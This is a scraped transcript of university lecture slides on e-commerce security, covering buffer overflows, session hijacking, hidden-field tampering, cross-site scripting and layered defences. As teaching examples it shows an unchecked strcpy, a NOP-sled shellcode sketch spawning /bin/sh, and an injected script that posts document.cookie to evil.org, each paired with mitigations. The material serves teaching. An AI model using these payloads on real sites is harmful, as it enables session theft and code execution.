CSE 190: Internet E-Commerce - PowerPoint PPT Presentation

Cse 190 internet e commerce
1 / 29

  • Uploaded on
  • Presentation posted in: General

CSE 190: Internet E-Commerce. Lecture 15: Security. Security: Three Focuses. Prevention Most common approach Detection Beyond Intrusion Detection Systems (IDS) – what is application responsibility Recovery Often neglected Reference: “Secrets & Lies” by Schneir.

I am the owner, or an agent authorized to act on behalf of the owner, of the copyrighted work described.

Download Presentation

CSE 190: Internet E-Commerce

An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.

- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -

Presentation Transcript

Cse 190 internet e commerce

CSE 190: Internet E-Commerce

Lecture 15: Security

Security three focuses

Security: Three Focuses

  • Prevention

    • Most common approach

  • Detection

    • Beyond Intrusion Detection Systems (IDS) – what is application responsibility

  • Recovery

    • Often neglected

  • Reference: “Secrets & Lies” by Schneir

Security posture of an e commerce infrastructure

Security Posture of ane-Commerce Infrastructure

Attack buffer overflow

Attack: Buffer Overflow

  • Based on boundary checking failure

    foo(char *s) {

    char buf[42];

    // ...

    strcpy(buf, s);

    // ...


  • What if strlen(s) > 42 ?

Stack frame

Stack Frame





0000 0000 08000490 FFFF2480



Stack frame1

Stack Frame





4141 4141 41414141 41414141



Executing code

Executing Code

  • Basic Principle

    • Place code in buffer

    • Overwrite return address to point to code

  • Shell code

    • Often: execve(“/bin/sh”, args)

  • NOP sled

Shell code cont

Shell Code (cont)

s = “\x90\x90...\x90” /* NOP sled */

“\xeb.../bin/sh” /* shellcode */

“\xff\xff\x01\xde...\xff\xff\x01\xde”/* return addr */;





9090...9090 EBAF...68 FFFF...DE FFFF01DE FFFF01DE

Buffer overflow impact

Buffer Overflow: Impact

  • Execute arbitrary code with privileges of vulnerable process

  • Often remotely exploitable

  • Examples:

    • Code Red (Microsoft IIS Indexing DLL)

    • Oracle 8i TNS Listener

    • Netscape Enterprise Content Negotiation

Buffer overflow mitigation

Buffer Overflow Mitigation

  • Coding Standards

    • strncpy() instead of strcpy(), etc…

    • Completeness?

  • Code audits

    • Manual/Automated

  • Robust/Automated Memory Management

    • String classes

    • Java, Perl etc

  • Testing

    • Coverage?

    • Correctness through testing harder than development

Attack hijacking sessions

Attack: Hijacking Sessions

  • Insufficient Entropy (Randomness) in session Ids

    Client 1


Client 2


E.g., IBM Websphere 3.x

Session hijacking impact

Session Hijacking: Impact

  • Brute-force search for valid session Ids

    • Web server as oracle

  • Full, unauthorized control over user session

    • Information disclosure

    • Online theft

    • Pretexting

Session hijacking mitigation

Session Hijacking: Mitigation

  • Generate Session IDs using cryptographically strong PRNG

  • `Good’ source of entropy

    • E.g./dev/urandom

  • Cryptographic verification

    • E.g. HMAC-SHA1

  • App-level IDS

    • Alert on multiple, invalid session IDs

Client state perturbation


Confirm PurchaseDVD XYZQuantity: 2Price: 23.45Total: 46.90


Client State Perturbation

<FORM METHOD=POST ACTION=https://merchant.com/buy.cgi> . . . <INPUT TYPE=HIDDEN NAME=TOTAL VALUE=46.90>


Client state perturbation impact

Client State Perturbation: Impact

  • Fraud (previous example)

  • Unauthorized Access to Information


  • Unauthorized Modification of Data

Client state perturbation mitigation

Client State Perturbation: Mitigation

  • Do not trust any values received from client (URL params, forms, cookies)

    • Cross-validate against known session state

    • Cryptographically verify arguments (MAC)

  • Minimize state maintained in client

    • Server-side session object

    • Stateless UI Flows

Attack cross site scripting


Product Search



Attack: Cross-Site Scripting


<P>Search results for query`xyz’<P><HR>



Search results forquery `xyz’:


Cross site scripting cont

Cross-Site Scripting (cont)


Product Search



<P>Search results for query`<SCRIPT> alert(“boo!”);</SCRIPT>’<P><HR>Nothing found




Search results forquery `’:

Nothing found



Cross site scripting malicious script

<form name=snagaction=http://evil.org/snag_it.cgi method=post>

<input type=hiddenname=it>


<script> document.snag.it= document.cookie; document.snag.submit();


Script discloses cookie to evil.org

JavaScript security model:

Same Origin policy

Script can only access properties of objects form its own domain of origin

Execute script with origin “merchant.com”?

Cross-Site Scripting:Malicious Script

Cross site scripting injecting malicious script


<form name=f action= http://www.merchant.com/ search.cgi method=post>

<input type=text name=query

value=“<form name=snag ...”>

<input type=submit ...>


<script> document.f.submit();


Arrange for target to view page containing<iframe src=.../evil.html>

Any page under evil.org’s control

HTML email

Form POST to merchant.com

Form POST of cookie to evil.org

Cross-Site Scripting: Injecting Malicious Script

Cross site scripting impact

Cross-Site Scripting:Impact

  • Unauthorized disclosure of user information

  • Unauthorized gaining of control over use sessions

    • Theft

    • Etc…

Cross site scripting mitigation

Cross-Site Scripting: Mitigation

  • Escape user input before rendering in-line with HTML:<P>Search results for query`&lt;SCRIPT&gt;

  • Challenges

    • Input processing: Verbatim processing of inputs

    • Output processing: Coverage

Architectural considerations dealing with the unknown

Architectural Considerations:Dealing with the Unknown

  • Defense in Depth

  • Trust Relationships

  • Compartmentalization

  • Encryption

  • Passive Defense vs. Active Response

Multi tiered architecture

Multi-Tiered Architecture

  • Tight filtering policies between networks

  • Effective against unknown vulnerabilities with “execute code on server” impact

  • Host/Network IDS: Response Capability

Security dmz

Security: DMZ

  • DMZ: Demilitarized Zone

    • Servers designated less secure; not related to terrorism!

  • Use two firewalls to create a DMZ; database behind 2nd

Trust relationships compartmentalization

Trust Relationships/ Compartmentalization

  • Minimize assumptions/trust between architectural tiers/software layers

    • Multiple layers of validation

    • Independent authentication/authorization

  • E.g. Granular DB-level access control

    • Views

    • Stored procedures

  • Mitigation of input validation errors



  • Protection of data in transit/persistent store

    • 3DES, AES, RSA

    • SSL

  • Data protection in partially compromised system

  • Insider Threat

    • Separation of duties (DBA vs. Key Mgmt)



  • Secure Sockets Layer (SSL)

  • Encrypts just before converting HTTP content into TCP/IP packets for Internet transmission.

  • HTTPS: denotes secure servers. Default port is 443 (as opposed to 80 of HTTP servers). Both can run on same machine.

  • Client and server exchange session-long encryption keys, and also server authenticates via certificate

Defense vs recovery

Defense vs. Recovery

  • No software is 100% bug free

  • Some bugs constitute vulnerabilities

  • No software is 100% secure

  • Detection and response capabilities

    • Exception handling

    • Log scanning

    • Operator alerts

  • Login